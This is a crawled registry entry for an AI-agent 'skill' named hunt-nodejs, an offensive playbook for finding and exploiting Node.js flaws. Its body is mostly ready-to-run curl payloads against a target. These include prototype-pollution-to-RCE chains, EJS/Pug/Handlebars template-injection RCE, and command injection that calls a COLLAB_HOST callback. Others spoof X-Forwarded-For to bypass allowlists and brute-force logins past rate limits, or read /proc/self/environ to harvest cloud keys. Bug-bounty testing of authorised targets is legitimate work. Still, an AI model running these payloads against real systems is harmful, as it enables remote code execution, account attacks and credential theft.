{"id":"hunt-nodejs","name":"hunt-nodejs","summary":"特定の脆弱性Node.js探す — プロトタイプ汚染→RCEチェーン(lodash/merge/assign)、Express trust proxyの誤設定、child_process/評価注入、テンプレートエンジンSSTI(EJS/Pug/ハンドルバー)、ファイルサーバー内のパストラバーサル、require()注…","body":"# HUNT-NODEJS — Node.js Specific Vulnerabilities\n\n## Crown Jewel Targets\n\nPrototype Pollution reaching a sink in Node.js backend = Critical RCE.\n\n**Highest-value chains:**\n- **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` / `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink\n- **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits\n- **EJS/Pug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}`\n- **`child_process` injection** — user input interpolated into shell command string → OS command injection\n- **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS\n\n---\n\n## Attack Surface Signals\n\n```\nX-Powered-By: Express           Confirms Express.js\nNode.js in error messages        Runtime detected\npackage.json exposed             Dependency list + versions\n/proc/self/environ accessible    Environment variable exfil\nError stack traces with .js paths  Node.js confirmed\n__proto__ in JSON accepted        Prototype pollution candidate\n```\n\n---\n\n## Phase 1 — Fingerprint\n\n```bash\n# Confirm Node.js/Express\ncurl -sI https://$TARGET/ | grep -i \"x-powered-by\\|nodejs\\|express\"\n\n# Check for package.json / node_modules exposure\ncurl -s \"https://$TARGET/package.json\"\ncurl -s \"https://$TARGET/package-lock.json\"\ncurl -s \"https://$TARGET/node_modules/.package-lock.json\"\n\n# Error-based version detection\ncurl -s \"https://$TARGET/nonexistent-path-xyz\" | grep -i \"node\\|express\\|cannot GET\"\n```\n\n---\n\n## Phase 2 — Prototype Pollution Detection\n\n```bash\n# JSON body injection — test if __proto__ is accepted\ncurl -s -X POST https://$TARGET/api/merge \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"__proto__\": {\"polluted\": \"yes\"}}'\n\n# Constructor prototype\ncurl -s -X POST https://$TARGET/api/settings \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# URL query param injection (qs library)\ncurl -s \"https://$TARGET/api/search?__proto__[polluted]=yes&query=test\"\ncurl -s \"https://$TARGET/api/data?constructor[prototype][admin]=1\"\n\n# Confirm pollution: does a subsequent request reflect the polluted key?\ncurl -s \"https://$TARGET/api/me\" | grep -i \"polluted\\|isAdmin\\|admin\"\n```\n\n---\n\n## Phase 3 — Prototype Pollution → RCE Chain\n\n```bash\n# If pollution is confirmed, attempt to reach dangerous sinks\n\n# Sink 1: child_process via options.shell pollution\ncurl -s -X POST https://$TARGET/api/update \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"__proto__\": {\n      \"shell\": \"node\",\n      \"NODE_OPTIONS\": \"--require /proc/self/fd/0\",\n      \"env\": {\"NODE_OPTIONS\": \"--inspect=COLLAB_HOST\"}\n    }\n  }'\n\n# Sink 2: lodash template pollution (CVE-2021-23337)\ncurl -s -X POST https://$TARGET/api/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"__proto__\": {\"sourceURL\": \"\\nreturn process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\").toString()//\"}}'\n\n# Sink 3: ejs template options pollution\n# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`\ncurl -s -X POST https://$TARGET/api/template \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"__proto__\": {\"outputFunctionName\": \"x;process.mainModule.require(\\\"child_process\\\").execSync(\\\"curl COLLAB_HOST/pp-rce\\\");x\"}}'\n\n# OOB confirmation — check Interactsh for callback\n```\n\n---\n\n## Phase 4 — Express Trust Proxy Abuse\n\n```bash\n# If Express has trust proxy enabled, X-Forwarded-For is trusted\n# Test: does spoofed IP bypass IP-based rate limiting or allowlist?\n\n# Spoof IP to 127.0.0.1 (localhost bypass)\ncurl -s -X POST https://$TARGET/api/admin/action \\\n  -H \"X-Forwarded-For: 127.0.0.1\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"action\": \"test\"}'\n\n# Spoof to internal IP range\ncurl -s -X POST https://$TARGET/api/internal \\\n  -H \"X-Forwarded-For: 10.0.0.1\" \\\n  -H \"X-Real-IP: 10.0.0.1\"\n\n# Rate limit bypass via rotating fake IPs\nfor i in $(seq 1 50); do\n  curl -s https://$TARGET/api/login \\\n    -H \"X-Forwarded-For: 1.2.3.$i\" \\\n    -d '{\"email\":\"admin@test.com\",\"password\":\"wrong\"}' \\\n    -o /dev/null -w \"$i: %{http_code}\\n\"\ndone\n```\n\n---\n\n## Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)\n\n```bash\n# EJS SSTI — if user input reaches EJS template context\n# Test basic: <%= 7*7 %> should return 49\ncurl -s -X POST https://$TARGET/api/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"<%= 7*7 %>\"}'\n\n# EJS RCE payload\ncurl -s -X POST https://$TARGET/api/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"<%= process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\").toString() %>\"}'\n\n# Pug SSTI\ncurl -s -X POST https://$TARGET/api/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"- var x = root.process\\n= x.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}'\n\n# Handlebars — prototype pollution via template\ncurl -s -X POST https://$TARGET/api/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{{#with \\\"s\\\" as |string|}}{{#with \\\"e\\\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \\\"constructor\\\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \\\"return process.mainModule.require(childprocess).execSync(id)\\\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}\"}'\n```\n\n---\n\n## Phase 6 — child_process Command Injection\n\n```bash\n# Look for endpoints that run shell commands with user input\n# Signals: /api/convert, /api/exec, /api/ping, /api/scan\n\n# Basic injection test\ncurl -s \"https://$TARGET/api/ping?host=127.0.0.1;id\"\ncurl -s \"https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci\"\ncurl -s -X POST https://$TARGET/api/exec \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"command\": \"ls\", \"args\": [\"&&\", \"curl\", \"COLLAB_HOST/ci\"]}'\n\n# OOB via DNS\ncurl -s \"https://$TARGET/api/dns?host=\\$(curl+COLLAB_HOST/dns-ci).example.com\"\n```\n\n---\n\n## Phase 7 — /proc/self/environ Exfil\n\n```bash\n# If LFI exists on Node.js app, /proc/self/environ leaks env vars\ncurl -s \"https://$TARGET/api/file?path=/proc/self/environ\"\ncurl -s \"https://$TARGET/api/read?file=../../../../proc/self/environ\"\n\n# Also check:\ncurl -s \"https://$TARGET/api/file?path=/proc/self/cmdline\"  # full command line\ncurl -s \"https://$TARGET/api/file?path=/proc/self/cwd\"       # working directory\n```\n\n---\n\n## Chain Table\n\n| Node.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |\n| Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass |\n| SSTI in template engine | OS command execution | Critical RCE |\n| child_process injection | `id && curl COLLAB_HOST` | Critical RCE |\n| /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |\n\n---\n\n## Validation\n\n✅ Prototype pollution: key appears in subsequent API responses without being sent\n✅ RCE chain: OOB callback received OR `id` output in response\n✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist\n\n**Severity:**\n- Prototype pollution → RCE: Critical\n- SSTI → RCE: Critical\n- child_process injection: Critical\n- Trust proxy → rate limit bypass: Medium\n- /proc/self/environ exfil: High (if cloud keys present)","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-nodejs","license":"MIT","category":null,"lang":"en","tokens":2097,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}